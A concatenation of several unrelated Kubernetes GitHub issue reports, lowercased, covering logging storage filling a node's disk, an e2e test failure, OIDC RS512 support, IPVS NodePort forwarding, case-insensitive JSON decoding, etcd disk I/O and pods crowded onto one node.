./kubelet/pods/31cfd30a-52eb-11e6-a5e2-068755380eff/volumes/kubernetes.io~empty-dir/es-persistent-storage/kubernetes-logging/nodes/0 6539448 ./kubelet/pods/31cfd30a-52eb-11e6-a5e2-068755380eff/volumes/kubernetes.io~empty-dir/es-persistent-storage/kubernetes-logging/nodes/0/indices 676048  ./kubelet/pods/31cfee9c-52eb-11e6-a5e2-068755380eff/volumes/kubernetes.io~empty-dir/influxdb-persistent-storage/data/_internal 676044  ./kubelet/pods/31cfee9c-52eb-11e6-a5e2-068755380eff/volumes/kubernetes.io~empty-dir/influxdb-persistent-storage/data/_internal/monitor 314236  ./kubelet/pods/31f87af7-52eb-11e6-a5e2-068755380eff 314184  ./kubelet/pods/31f87af7-52eb-11e6-a5e2-068755380eff/volumes 314164  ./kubelet/pods/31f87af7-52eb-11e6-a5e2-068755380eff/volumes/kubernetes.io~empty-dir 314160  ./kubelet/pods/31f87af7-52eb-11e6-a5e2-068755380eff/volumes/kubernetes.io~empty-dir/etcd-storage 314156  ./kubelet/pods/31f87af7-52eb-11e6-a5e2-068755380eff/volumes/kubernetes.io~empty-dir/etcd-storage/member 312528  ./kubelet/pods/31f87af7-52eb-11e6-a5e2-068755380eff/volumes/kubernetes.io~empty-dir/etcd-storage/member/wal 308332  ./kubelet/pods/31cfd30a-52eb-11e6-a5e2-068755380eff/volumes/kubernetes.io~empty-dir/es-persistent-storage/kubernetes-logging/nodes/0/indices/logstash-2016.08.25 308240  ./kubelet/pods/31cfe185-52eb-11e6-a5e2-068755380eff/volumes/kubernetes.io~empty-dir/es-persistent-storage/kubernetes-logging/nodes/0/indices/logstash-2016.08.25 293780  ./kubelet/pods/31cfe185-52eb-11e6-a5e2-068755380eff/volumes/kubernetes.io~empty-dir/es-persistent-storage/kubernetes-logging/nodes/0/indices/logstash-2016.08.18 293668  ./kubelet/pods/31cfd30a-52eb-11e6-a5e2-068755380eff/volumes/kubernetes.io~empty-dir/es-persistent-storage/kubernetes-logging/nodes/0/indices/logstash-2016.08.18 291164  ./kubelet/pods/31cfd30a-52eb-11e6-a5e2-068755380eff/volumes/kubernetes.io~empty-dir/es-persistent-storage/kubernetes-logging/nodes/0/indices/logstash-2016.08.24 291056  ./kubelet/pods/31cfe185-52eb-11e6-a5e2-068755380eff/volumes/kubernetes.io~empty-dir/es-persistent-storage/kubernetes-logging/nodes/0/indices/logstash-2016.08.24 267764  ./kubelet/pods/31cfe185-52eb-11e6-a5e2-068755380eff/volumes/kubernetes.io~empty-dir/es-persistent-storage/kubernetes-logging/nodes/0/indices/logstash-2016.08.01 267752  ./kubelet/pods/31cfd30a-52eb-11e6-a5e2-068755380eff/volumes/kubernetes.io~empty-dir/es-persistent-storage/kubernetes-logging/nodes/0/indices/logstash-2016.08.01 265596  ./kubelet/pods/31cfd30a-52eb-11e6-a5e2-068755380eff/volumes/kubernetes.io~empty-dir/es-persistent-storage/kubernetes-logging/nodes/0/indices/logstash-2016.08.19 265436  ./kubelet/pods/31cfe185-52eb-11e6-a5e2-068755380eff/volumes/kubernetes.io~empty-dir/es-persistent-storage/kubernetes-logging/nodes/0/indices/logstash-2016.08.19 241152  ./kubelet/pods/31cfd30a-52eb-11e6-a5e2-068755380eff/volumes/kubernetes.io~empty-dir/es-persistent-storage/kubernetes-logging/nodes/0/indices/logstash-2016.08.02 241148  ./kubelet/pods/31cfe185-52eb-11e6-a5e2-068755380eff/volumes/kubernetes.io~empty-dir/es-persistent-storage/kubernetes-logging/nodes/0/indices/logstash-2016.08.02 234576  ./kubelet/pods/31cfe185-52eb-11e6-a5e2-068755380eff/volumes/kubernetes.io~empty-dir/es-persistent-storage/kubernetes-logging/nodes/0/indices/logstash-2016.08.26 230656  ./kubelet/pods/31cfe185-52eb-11e6-a5e2-068755380eff/volumes/kubernetes.io~empty-dir/es-persistent-storage/kubernetes-logging/nodes/0/indices/logstash-2016.08.03 230652  ./kubelet/pods/31cfd30a-52eb-11e6-a5e2-068755380eff/volumes/kubernetes.io~empty-dir/es-persistent-storage/kubernetes-logging/nodes/0/indices/logstash-2016.08.03 226312  ./kubelet/pods/31cfd30a-52eb-11e6-a5e2-068755380eff/volumes/kubernetes.io~empty-dir/es-persistent-storage/kubernetes-logging/nodes/0/indices/logstash-2016.08.21 226244  ./kubelet/pods/31cfe185-52eb-11e6-a5e2-068755380eff/volumes/kubernetes.io~empty-dir/es-persistent-storage/kubernetes-logging/nodes/0/indices/logstash-2016.08.21 224024  ./kubelet/pods/31cfe185-52eb-11e6-a5e2-068755380eff/volumes/kubernetes.io~empty-dir/es-persistent-storage/kubernetes-logging/nodes/0/indices/logstash-2016.08.23 224024  ./kubelet/pods/31cfd30a-52eb-11e6-a5e2-068755380eff/volumes/kubernetes.io~empty-dir/es-persistent-storage/kubernetes-logging/nodes/0/indices/logstash-2016.08.23 218332  ./kubelet/pods/31cfd30a-52eb-11e6-a5e2-068755380eff/volumes/kubernetes.io~empty-dir/es-persistent-storage/kubernetes-logging/nodes/0/indices/logstash-2016.08.16 218292  ./kubelet/pods/31cfe185-52eb-11e6-a5e2-068755380eff/volumes/kubernetes.io~empty-dir/es-persistent-storage/kubernetes-logging/nodes/0/indices/logstash-2016.08.16 216584  ./kubelet/pods/31cfd30a-52eb-11e6-a5e2-068755380eff/volumes/kubernetes.io~empty-dir/es-persistent-storage/kubernetes-logging/nodes/0/indices/logstash-2016.08.22 216464  ./kubelet/pods/31cfe185-52eb-11e6-a5e2-068755380eff/volumes/kubernetes.io~empty-dir/es-persistent-storage/kubernetes-logging/nodes/0/indices/logstash-2016.08.22 215448  ./kubelet/pods/31cfe185-52eb-11e6-a5e2-068755380eff/volumes/kubernetes.io~empty-dir/es-persistent-storage/kubernetes-logging/nodes/0/indices/logstash-2016.08.20 215424  ./kubelet/pods/31cfd30a-52eb-11e6-a5e2-068755380eff/volumes/kubernetes.io~empty-dir/es-persistent-storage/kubernetes-logging/nodes/0/indices/logstash-2016.08.20 214048  ./kubelet/pods/31cfe185-52eb-11e6-a5e2-068755380eff/volumes/kubernetes.io~empty-dir/es-persistent-storage/kubernetes-logging/nodes/0/indices/logstash-2016.08.08 214036  ./kubelet/pods/31cfd30a-52eb-11e6-a5e2-068755380eff/volumes/kubernetes.io~empty-dir/es-persistent-storage/kubernetes-logging/nodes/0/indices/logstash-2016.08.08 205668  ./kubelet/pods/31cfe185-52eb-11e6-a5e2-068755380eff/volumes/kubernetes.io~empty-dir/es-persistent-storage/kubernetes-logging/nodes/0/indices/logstash-2016.08.04 /// etc.....          $ kubectl --namespace kube-system get po -o wide name                                                               ready     status    restarts   age       node elasticsearch-logging-v1-pt8h6                                     1/1       running   4          48d       ip-172-20-0-130.us-west-1.compute.internal elasticsearch-logging-v1-xmm3w                                     1/1       running   3          48d       ip-172-20-0-130.us-west-1.compute.internal fluentd-elasticsearch-ip-172-20-0-130.us-west-1.compute.internal   1/1       running   6          45d       ip-172-20-0-130.us-west-1.compute.internal fluentd-elasticsearch-ip-172-20-0-131.us-west-1.compute.internal   1/1       running   37         45d       ip-172-20-0-131.us-west-1.compute.internal fluentd-elasticsearch-ip-172-20-0-147.us-west-1.compute.internal   1/1       running   2          25d       ip-172-20-0-147.us-west-1.compute.internal fluentd-elasticsearch-ip-172-20-0-63.us-west-1.compute.internal    1/1       running   0          25d       ip-172-20-0-63.us-west-1.compute.internal heapster-v1.0.2-2148290995-82low                                   4/4       running   136        42d       ip-172-20-0-131.us-west-1.compute.internal kibana-logging-v1-xvzrk                                            1/1       running   12         48d       ip-172-20-0-130.us-west-1.compute.internal kube-dns-v11-6emyp                                                 4/4       running   16         48d       ip-172-20-0-130.us-west-1.compute.internal kube-proxy-ip-172-20-0-130.us-west-1.compute.internal              1/1       running   3          48d       ip-172-20-0-130.us-west-1.compute.internal kube-proxy-ip-172-20-0-131.us-west-1.compute.internal              1/1       running   38         48d       ip-172-20-0-131.us-west-1.compute.internal kube-proxy-ip-172-20-0-147.us-west-1.compute.internal              1/1       running   2          25d       ip-172-20-0-147.us-west-1.compute.internal kube-proxy-ip-172-20-0-63.us-west-1.compute.internal               1/1       running   0          25d       ip-172-20-0-63.us-west-1.compute.internal kubernetes-dashboard-v1.0.1-u7kcf                                  1/1       running   3          48d       ip-172-20-0-130.us-west-1.compute.internal monitoring-influxdb-grafana-v3-y26p8                               2/2       running   6          48d       ip-172-20-0-130.us-west-1.compute.internal      so, it looks like  most of the storage is takend up by influxdb / elasticsearch? shouldn't logging/monitoring components be restrained to a % of available disk space and just delete older stuff as soon as they reach that limit by default? also, why doesn't  kubectl describe nodes  report that  ip-172-20-0-130.us-west-1.compute.internal  is out of disk?

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gke-prod-parallel/620/  failed:  k8s.io  emptydir volumes should support  non-root,0666,default   conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:134 oct  6 04:50:37.191: couldn't delete ns: \ e2e-tests-emptydir-79nk5\ : an error on the server  \ internal server error: \\\ /apis/extensions/v1beta1/namespaces/e2e-tests-emptydir-79nk5/deployments\\\ \   has prevented the request from succeeding  get deployments.extensions   &errors.statuserror{errstatus:unversioned.status{typemeta:unversioned.typemeta{kind:\ \ , apiversion:\ \ }, listmeta:unversioned.listmeta{selflink:\ \ , resourceversion:\ \ }, status:\ failure\ , message:\ an error on the server  \\\ internal server error: \\\\\\\ /apis/extensions/v1beta1/namespaces/e2e-tests-emptydir-79nk5/deployments\\\\\\\ \\\   has prevented the request from succeeding  get deployments.extensions \ , reason:\ internalerror\ , details:  unversioned.statusdetails  0xc820b33a90 , code:500}}  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:338

details in https://github.com/kubernetes/kubernetes/issues/44445 issuecomment-311506113\r \r @dchen1107 consider adding this to the 1.7 release although it appears to have been broken in 1.6. i'll add 1.7 milestone for you to remove if this doesn't make the cut.\r \r fix is here https://github.com/kubernetes/kubernetes/pull/48189\r \r cc @kubernetes/sig-apps-bugs

testgrid  https://k8s-testgrid.appspot.com/release-master-blocking gci-gce&sort-by-failures= \r  logs  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce/11643 \r \r we suspect that  49157 caused the failures.\r \r  

we should make the cri log parsing code in kubelet to be a library. so that container runtimes and external tools don't need to copy the whole code   vendor it instead  .\r \r referring https://github.com/kubernetes-incubator/cri-tools/issues/169.\r

it would be nice if the  container api payload  https://github.com/googlecloudplatform/kubernetes/blob/master/pkg/api/v1beta3/types.go l372  had support for exposing host devices to the container  like  docker run --device  does .  the kubelet could pass it  go-dockerclient  https://github.com/fsouza/go-dockerclient  once they add support for it  https://github.com/fsouza/go-dockerclient/issues/241 , or create container with the docker remote api by passing an addition member in the  /create   hostconfig  payload:      {     \ pathonhost\ : \ /dev/devicename\ ,     \ pathincontainer\ : \ /dev/devicename\ ,     \ cgrouppermissions\ : \ mrw\  }

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r  \r \r   what happened  :\r \r i am unable to auth with oidc configured with an identity provider which signs its jwt tokens with rs512  only rs256 works .\r \r the master node raises an error in  /var/log/kube-apiserver.log : \r \r     e0103 21:05:00.747899       5 oidc.go:190  oidc authenticator: failed to fetch provider discovery \r         data: id_token_signing_alg_values_supported must include 'rs256'\r     e0103 21:05:00.747921       5 authentication.go:64  unable to authenticate the request due to an \r         error:  invalid bearer token,  invalid bearer token,  crypto/rsa: verification error, fetch provider \r         config: id_token_signing_alg_values_supported must include 'rs256'   \r \r \r \r   what you expected to happen  :\r \r identity providers with rs512 algorithms should be supported, for example  globus  https://auth.globus.org/.well-known/openid-configuration , which lists  rs512  for  id_token_signing_alg_values_supported . \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r edit k8s with an oidc provider which only supports rs512:\r \r  kops edit cluster $name \r \r     kubeapiserver:\r       address: 127.0.0.1\r       oidcclientid: 78f75a6d-486a-45bc-8967-01c153fb3340\r       oidcissuerurl: https://auth.globus.org\r       oidcusernameclaim: email\r \r  kops update cluster $name --yes && kops rolling-update cluster --yes \r \r add user to  ~/.kube/config  for oidc:\r \r     - name: example@globus.org\r       user:\r         auth-provider:\r           config:\r             client-id: <client id>\r             client-secret: <secret>\r             id-token: <token>\r             idp-issuer-url: https://auth.globus.org\r             refresh-token: <refresh token>\r           name: oidc\r \r the following will produce the error above on the api server:\r \r  kubectl get nodes --user example@globus.org  \r \r   anything else we need to know?  :\r \r a valid token doesn't appear to be needed in order to reproduce the bug due to the authenticator raising an error before it tries to validate the token. \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r     client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.4\ , gitcommit:\ 9befc2b8928a9426501d3bf62f72849d5cbcd5a3\ , gittreestate:\ clean\ , builddate:\ 2017-11-20t05:28:34z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r     server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.4\ , gitcommit:\ 9befc2b8928a9426501d3bf62f72849d5cbcd5a3\ , gittreestate:\ clean\ , builddate:\ 2017-11-20t05:17:43z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r \r aws\r - os  e.g. from /etc/os-release :\r \r     pretty_name=\ debian gnu/linux 8  jessie \ \r     name=\ debian gnu/linux\ \r     version_id=\ 8\ \r     version=\ 8  jessie \ \r     id=debian\r     home_url=\ http://www.debian.org/\ \r     support_url=\ http://www.debian.org/support\ \r     bug_report_url=\ https://bugs.debian.org/\ \r - kernel  e.g.  uname -a  :\r     linux ip-172-20-44-157 4.4.102-k8s  1 smp sun nov 26 23:32:43 utc 2017 x86_64 gnu/linux\r - install tools:\r     kops\r - others:\r

according to https://kubernetes.io/docs/concepts/configuration/assign-pod-node/, nodeaffinity is more powerful than nodeselector, and will replace nodeselector,  so could you provide another admission control plugin \ podnodeaffinity\ ?\r \r i need podnodeselector or better podnodeaffinity to dedicate some worker nodes for a namespace, so i can divide a physical huge k8s cluster into some small virtual k8s clusters.\r \r  

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r testing with the ipvs mode proxier on a host with iptables forward policy = drop, as configured by docker in recent versions, i found that traffic to nodeports failed when the nodeport forwarded the traffic to another node.\r \r saw the iptables forward=drop counter increasing with each packet.\r \r   what you expected to happen  :\r \r ipvs mode should whitelist such traffic in a similar way to the iptables mode:\r \r   iptables discussion: https://github.com/kubernetes/kubernetes/issues/39823\r   pr implementing the fix for iptables mode: https://github.com/kubernetes/kubernetes/pull/52569\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   install a routed network plugin; such as calico  v3.0 required for ipvs networkpolicy support \r   enable ipvs mode on the kube-proxy\r   create a server pod on one node with a nodeport service\r   access the nodeport via another node  i was testing from a busybox pod on the other node \r \r   anything else we need to know?  :\r \r setting the policy to accept manually is insecure but it acts as a workaround:  iptables -p forward accept \r \r   environment  :\r - kubernetes version  use  kubectl version  : \r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.4\ , gitcommit:\ 9befc2b8928a9426501d3bf62f72849d5cbcd5a3\ , gittreestate:\ clean\ , builddate:\ 2017-11-20t05:28:34z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2\ , gitcommit:\ 5fa2db2bd46ac79e5e00a4e6ed24191080aa463b\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t09:42:01z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: gce\r - os  e.g. from /etc/os-release : \r    \r $ cat /etc/os-release \r name=\ ubuntu\ \r version=\ 16.04.3 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.3 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :\r    \r $ uname -a\r linux smc-kubeadm-node-0 4.13.0-1008-gcp  11-ubuntu smp thu jan 25 11:08:44 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools: kubeadm\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r @kubernetes/sig-storage-bugs \r /assign\r \r   what happened  :\r scheduler predicate already passes in the node object.  we should not keep our own node cache.  this breaks autoscaling which has fake node objects.\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  \r \r   what happened  :\r after adding the oidc parameters, the kube-apiserver pod remains  failing to start.\r kube-apiserver starts ok after those lines are removed.\r   what you expected to happen  :\r kube-apiserver start with the oidc parameters added\r   how to reproduce it  as minimally and precisely as possible   :\r added following lines to kube-apiserver.yaml and then copy the file to /etc/kubernetes/manifests\r     - --oidc-issuer-url=https://xxx.xxx.xxx.xxx:32000/dex\r     - --oidc-client-id=loginapp\r     - --oidc-ca-file=/etc/kubernetes/ssl/ca.pem\r     - --oidc-username-claim=name\r \r   anything else we need to know?  :\r \r logs:\r \r may 22 23:39:18 xxx.xxx.xxx.xxx kubelet 6787 : e0522 23:39:18.521099    6787 file_linux.go:114  can't process manifest file \ /etc/kubernetes/man\r ifests/4913\ : open /etc/kubernetes/manifests/4913: no such file or directory\r may 22 23:39:18 xxx.xxx.xxx.xxx kubelet 6787 : e0522 23:39:18.524226    6787 kubelet.go:1617  failed creating a mirror pod for \ kube-apiserver-xxx.xxx.xxx.xxx_kube-system 3b16588fbf7a62b042080cc974eecc97 \ : post https://xxx.xxx.xxx.xxx:6443/api/v1/namespaces/kube-system/pods: dial tcp xxx.xxx.xxx:6443: getsockopt: connection refused\r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.2\ , gitcommit:\ 81753b10df112992bf51bbc2c2f85208aad78335\ , gittreestate:\ clean\ , builddate:\ 2018-04-27t09:22:21z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.2\ , gitcommit:\ 81753b10df112992bf51bbc2c2f85208aad78335\ , gittreestate:\ clean\ , builddate:\ 2018-04-27t09:10:24z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r \r - os  e.g. from /etc/os-release :\r name=\ ubuntu\ \r version=\ 16.04.4 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.4 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r - kernel  e.g.  uname -a  :\r linux xx.xx.xxx.xx 4.4.0-124-generic  148-ubuntu smp wed may 2 13:00:18 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r kubeadm\r - others:\r 

our current json decoders are case-insensitive. creating a deployment with a field  spec.replicas: 3  will fail kubectl validation with:\r \r    \r error: error validating \ deployment.yaml\ : error validating data: validationerror deployment.spec : unknown field \ replicas\  in io.k8s.api.apps.v1.deploymentspec; if you choose to ignore these errors, turn validation off with --validate=false\r    \r \r if we use  --validate=false , the deployment configuration is accepted and the json decoder unmarshals it as  spec.replicas: 3 .\r \r imo we should not allow wrongly named fields even if they differ only in case sensitivity. also, custom resources validation differs from native resources validation here because the crd validation specs are case sensitive.\r \r i checked for the current master, 1.10, 1.9 and 1.8. this issue persists for all of them. we started using json-iter instead of ugorji in 1.9  https://github.com/kubernetes/kubernetes/pull/48287  so it doesn't look related to that.\r \r go's  json.unmarshal , by default, is case insensitive. from https://golang.org/pkg/encoding/json/ unmarshal,\r \r > to unmarshal json into a struct, unmarshal matches incoming object keys to the keys used by marshal  either the struct field name or its tag , preferring an exact match but also accepting a case-insensitive match. \r \r i suspect this is the underlying mechanism used in our json decoders which causes it to be case-insensitive. \r \r wanted to make sure there is consensus in decoders being case sensitive before attempting a fix.\r \r /cc @liggitt @thockin @sttts \r  

function  getcsisourcefromspec  in csi_util.go should use v1 and not api.xxx types.\r \r  \r cc @vladimirvivien

what happened  :\r \r i set up a kubernetes multi-master cluster in some vms on my home network by following this guide: https://kubernetes.io/docs/setup/independent/high-availability/ it works great! except for the part where etcd is writing 4mb/second to disk on a cluster that has 2 masters and 1 worker at the moment. this seems deeply wrong  and likely to burn out an ssd given long enough :   .\r \r as soon as i turn off one of the master vms, the io load dissapears from the remaining master.\r \r   what you expected to happen  :\r kuberenetes to not be a giant resource hog right out of the box.\r \r   how to reproduce it  as minimally and precisely as possible   :\r follow this guide: https://kubernetes.io/docs/setup/independent/high-availability/\r i used the option to stack etcd on the same nodes as the control plane. even leaving the cluster idle with no deployments it constantly consumes disk io in the multiple-megabytes per second range  watching it via \ docker stats\  it's easy to see .\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.13\r version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.4\ , gitcommit:\ c27b913fddd1a6c480c229191a087698aa92f0b1\ , gittreestate:\ clean\ , builddate:\ 2019-02-28t13:37:52z\ , goversion:\ go1.11.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: on prem. master vms had 2 cores and 2gb of ram each. \r - os  e.g:  cat /etc/os-release  : ubuntu 18.04.2 lts\r - kernel  e.g.  uname -a  : 4.15.0-46-generic  49-ubuntu smp wed feb 6 09:33:07 utc 2019 x86_64 x86_64 x86_64 gnu/linux\r - install tools: kubeadm

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r \r we are creating 30 pods at a time, each requesting 32gi memory, and kube-scheduler seems to schedule all of them on to the same node  only 70gi allocable memory  all at once, and resulted in kubelet's rejecting pod due to outofmemory. the node is approximately able to run 2 of such pods so and there are 2 pods started running on the same node but all others got  outofmemory \r \r \r    \r pintext-sept-12-7jsxb              0/2     outofmemory                                         0          110s    <none>          ip-10-3-8-4.ec2.internal       <none>\r pintext-sept-12-qj8sm              0/2     outofmemory                                         0          79s     <none>          ip-10-3-8-4.ec2.internal       <none>\r pintext-sept-12-ss4dz              0/2     outofmemory                                         0          49s     <none>          ip-10-3-8-4.ec2.internal       <none>\r pintext-sept-13-2s5wp              0/2     outofmemory                                         0          110s    <none>          ip-10-3-8-4.ec2.internal       <none>\r pintext-sept-13-kn2qf              0/2     outofmemory                                         0          64s     <none>          ip-10-3-8-4.ec2.internal       <none>\r pintext-sept-13-pfz89              0/2     outofmemory                                         0          4s      <none>          ip-10-3-8-4.ec2.internal       <none>\r pintext-sept-13-wv9cr              0/2     outofmemory                                         0          44s     <none>          ip-10-3-8-4.ec2.internal       <none>\r pintext-sept-14-ll44f              0/2     outofmemory                                         0          110s    <none>          ip-10-3-8-4.ec2.internal       <none>\r pintext-sept-14-pn9rk              0/2     outofmemory                                         0          77s     <none>          ip-10-3-8-4.ec2.internal       <none>\r pintext-sept-15-249cl              0/2     outofmemory                                         0          73s     <none>          ip-10-3-8-4.ec2.internal       <none>\r pintext-sept-15-4k6j9              0/2     outofmemory                                         0          2s      <none>          ip-10-3-8-4.ec2.internal       <none>\r pintext-sept-15-gkxkp              0/2     outofmemory                                         0          110s    <none>          ip-10-3-8-4.ec2.internal       <none>\r pintext-sept-15-l8qg5              0/2     outofmemory                                         0          63s     <none>          ip-10-3-8-4.ec2.internal       <none>\r pintext-sept-15-lgclh              0/2     outofmemory                                         0          43s     <none>          ip-10-3-8-4.ec2.internal       <none>\r pintext-sept-16-zplhd              0/2     outofmemory                                         0          110s    <none>          ip-10-3-8-4.ec2.internal       <none>\r pintext-sept-17-t8792              0/2     outofmemory                                         0          65s     <none>          ip-10-3-8-4.ec2.internal       <none>\r pintext-sept-17-wg6p5              0/2     outofmemory                                         0          110s    <none>          ip-10-3-8-4.ec2.internal       <none>\r pintext-sept-17-ww9fw              0/2     outofmemory                                         0          75s     <none>          ip-10-3-8-4.ec2.internal       <none>\r pintext-sept-18-5dzfm              0/2     outofmemory                                         0          58s     <none>          ip-10-3-8-4.ec2.internal       <none>\r pintext-sept-18-kqszb              0/2     outofmemory                                         0          68s     <none>          ip-10-3-8-4.ec2.internal       <none>\r pintext-sept-18-td94g              0/2     outofmemory                                         0          109s    <none>          ip-10-3-8-4.ec2.internal       <none>\r pintext-sept-18-wsxhq              0/2     outofmemory                                         0          38s     <none>          ip-10-3-8-4.ec2.internal       <none>\r pintext-sept-19-fnh9f              0/2     outofmemory                                         0          79s     <none>          ip-10-3-8-4.ec2.internal       <none>\r pintext-sept-19-r5xwf              0/2     outofmemory                                         0          109s    <none>          ip-10-3-8-4.ec2.internal       <none>\r pintext-sept-19-x446x              0/2     outofmemory                                         0          49s     <none>          ip-10-3-8-4.ec2.internal       <none>\r pintext-sept-20-nmfpx              0/2     outofmemory                                         0          109s    <none>          ip-10-3-8-4.ec2.internal       <none>\r pintext-sept-21-nktlq              0/2     outofmemory                                         0          60s     <none>          ip-10-3-8-4.ec2.internal       <none>\r pintext-sept-21-p5gp7              0/2     outofmemory                                         0          40s     <none>          ip-10-3-8-4.ec2.internal       <none>\r pintext-sept-22-22hvs              0/2     outofmemory                                         0          109s    <none>          ip-10-3-8-4.ec2.internal       <none>\r pintext-sept-22-9pvqh              0/2     outofmemory                                         0          9s      <none>          ip-10-3-8-4.ec2.internal       <none>\r pintext-sept-23-2dtgv              0/2     outofmemory                                         0          37s     <none>          ip-10-3-8-4.ec2.internal       <none>\r pintext-sept-23-cz5ct              0/2     outofmemory                                         0          108s    <none>          ip-10-3-8-4.ec2.internal       <none>\r pintext-sept-23-p4t7n              0/2     outofmemory                                         0          67s     <none>          ip-10-3-8-4.ec2.internal       <none>\r pintext-sept-24-5rcjr              0/2     outofmemory                                         0          62s     <none>          ip-10-3-8-4.ec2.internal       <none>\r pintext-sept-24-c9nwj              0/2     outofmemory                                         0          108s    <none>          ip-10-3-8-4.ec2.internal       <none>\r pintext-sept-25-h6vtm              0/2     outofmemory                                         0          67s     <none>          ip-10-3-8-4.ec2.internal       <none>\r pintext-sept-25-lzzs6              0/2     outofmemory                                         0          108s    <none>          ip-10-3-8-4.ec2.internal       <none>\r pintext-sept-26-dmlv7              0/2     outofmemory                                         0          63s     <none>          ip-10-3-8-4.ec2.internal       <none>\r pintext-sept-26-msq7f              0/2     outofmemory                                         0          108s    <none>          ip-10-3-8-4.ec2.internal       <none>\r pintext-sept-26-zr8v5              0/2     outofmemory                                         0          73s     <none>          ip-10-3-8-4.ec2.internal       <none>\r pintext-sept-27-jj9gg              0/2     outofmemory                                         0          108s    <none>          ip-10-3-8-4.ec2.internal       <none>\r pintext-sept-27-q7zsp              0/2     outofmemory                                         0          8s      <none>          ip-10-3-8-4.ec2.internal       <none>\r pintext-sept-27-s4dtj              0/2     outofmemory                                         0          78s     <none>          ip-10-3-8-4.ec2.internal       <none>\r pintext-sept-27-zqg2s              0/2     outofmemory                                         0          68s     <none>          ip-10-3-8-4.ec2.internal       <none>\r pintext-sept-28-jtblq              0/2     outofmemory                                         0          107s    <none>          ip-10-3-8-4.ec2.internal       <none>\r pintext-sept-28-nhjxz              0/2     outofmemory                                         0          77s     <none>          ip-10-3-8-4.ec2.internal       <none>\r pintext-sept-28-wvt4t              0/2     outofmemory                                         0          47s     <none>          ip-10-3-8-4.ec2.internal       <none>\r pintext-sept-29-m7t7j              0/2     outofmemory                                         0          46s     <none>          ip-10-3-8-4.ec2.internal       <none>\r pintext-sept-29-n6hlx              0/2     outofmemory                                         0          76s     <none>          ip-10-3-8-4.ec2.internal       <none>\r pintext-sept-29-rlwnx              0/2     outofmemory                                         0          107s    <none>          ip-10-3-8-4.ec2.internal       <none>\r pintext-sept-29-tgslz              0/2     outofmemory                                         0          6s      <none>          ip-10-3-8-4.ec2.internal       <none>\r    \r \r \r   what you expected to happen  :\r pods don't get squeezed into a single node - they should either stay pending and wait for cluster to scale up, or wait for existing pods to finish running.\r \r   how to reproduce it  as minimally and precisely as possible   :\r we are able to stably reproduce it, with creating 30 jobs at the same time, each with default retry configs.\r \r \r   anything else we 